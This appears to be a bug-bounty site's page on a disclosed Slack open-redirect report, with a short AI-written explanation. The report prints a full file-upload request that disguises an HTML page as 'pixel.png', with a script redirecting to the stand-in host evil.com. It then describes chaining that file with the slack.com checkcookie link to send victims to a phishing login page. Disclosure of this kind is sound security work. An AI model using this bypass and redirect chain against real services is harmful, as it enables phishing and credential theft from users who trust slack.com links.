Open Redirect on slack.com
A file uploaded to Slack with a misleading image filename but HTML content could be served from Slack's file-hosting domain, and combined with a checkcookie redirect link on the main domain it led victims to an attacker-chosen site. The attacker could also use a simpler slack.com file link to redirect victims, and could host a convincing phishing login page.
- Triaged in 8 days
- Fixed in 3 months
- Paid in 3 months
- Disclosed after 4 months
Summary by the program
@sudotop discovered a bypass of our sanitization on slack-files.com, which could be combined with a particular file-sharing link from the slack domain to lead to an open redirect. Slack has mitigated this bypass. Thanks @sudotop!
The report
Hi, my report has tow interesting parts here First
In this report #104087 the attacker uploads a svg file to execute JavaScript and redirect to any domain I have found a new way to execute full html files on victim machine instead of downloading them by adding a bunch of binary chars before html code
Please have a look at screenshots attached here to get what I mean.
Steps
- login to your account and send the following request:
Note: I can't get binary chars displayed here so I attached a file containing the whole request
POST /api/files.uploadAsync HTTP/1.1
Host: upload.slack.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Length: 886
Content-Type: multipart/form-data; boundary=---------------------------89481407720596
Origin: https://<subdomain>.slack.com
Connection: keep-alive
-----------------------------89481407720596
Content-Disposition: form-data; name="file"; filename="pixel.png"
Content-Type: text/html
<bunch_of_binary_chars_here>
<html>
<script>
window.location='http://www.evil.com';
</script>
</html>
-----------------------------89481407720596
Content-Disposition: form-data; name="filename"
pixel
-----------------------------89481407720596
Content-Disposition: form-data; name="token"
<token>
-----------------------------89481407720596
Content-Disposition: form-data; name="channels"
<channels>
-----------------------------89481407720596
Content-Disposition: form-data; name="title"
pixel
-----------------------------89481407720596
Content-Disposition: form-data; name="initial_comment"
hi
-----------------------------89481407720596--
-
Make public link for "pixel" file "https://files.slack.com/files-pri/T1ARLSGBS-F1AU0FTGR/pixel?pub_secret=094ca97aee"
-
Complete link "https://slack.com/checkcookie?redir=https://files.slack.com/files-pri/T1ARLSGBS-F1AU0FTGR/pixel?pub_secret=094ca97aee"
-
Whenever a victim clicks the previous link he will get to "http://www.evil.com"
Second
I have found another way to make the redirect link very simple and more tricky The attacker can just use slack main domain using this link "https://slack.com/files-pri/T1ARLSGBS-F1AU0FTGR/pixel?pub_secret=094ca97aee" to redirect victims to "http://www.evil.com".
There are many other attack scenarios can be achieved here cause the attacker has full control over file content and name also.
Here is a simple phishing login page I have created as PoC that could trick even advanced users to submit their credentials to the attacker "https://slack.com/files-pri/T1ARLSGBS-F1AVC33M5/login?pub_secret=e80f120635"
Attacker could do tons of fun stuff to the files, to my mind come Viruses, Exploits, Illegal Content, etc.
Attachments



Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the upload endpoint trusted the declared filename and content type, and the file-serving and redirect endpoints did not restrict what content or destinations they would serve.
Impact
A victim who clicked the crafted slack.com link could be redirected to an attacker-controlled site, including a phishing login page, and the attacker had full control over the file content and name.
What the attacker needed
A Slack account able to upload files; victim clicks a crafted link
The fix
Slack mitigated the sanitisation bypass, according to the report.
How it was found
- Log in and upload a file through the asynchronous upload API, declaring an image filename but sending HTML content.
- Create a public link for the uploaded file.
- Build a checkcookie link on slack.com that points its redirect parameter at the public file link.
- Send the link to a victim; clicking it takes them to the attacker's site.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Slack lets you upload files and share them with a public link. The uploader could label a file as an image but put web page code inside it, and Slack would open that code in the visitor's browser instead of downloading it. Because the link started on slack.com, it looked trustworthy, so a victim could be sent to a fake login page or another site.
What is Open redirect?
A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.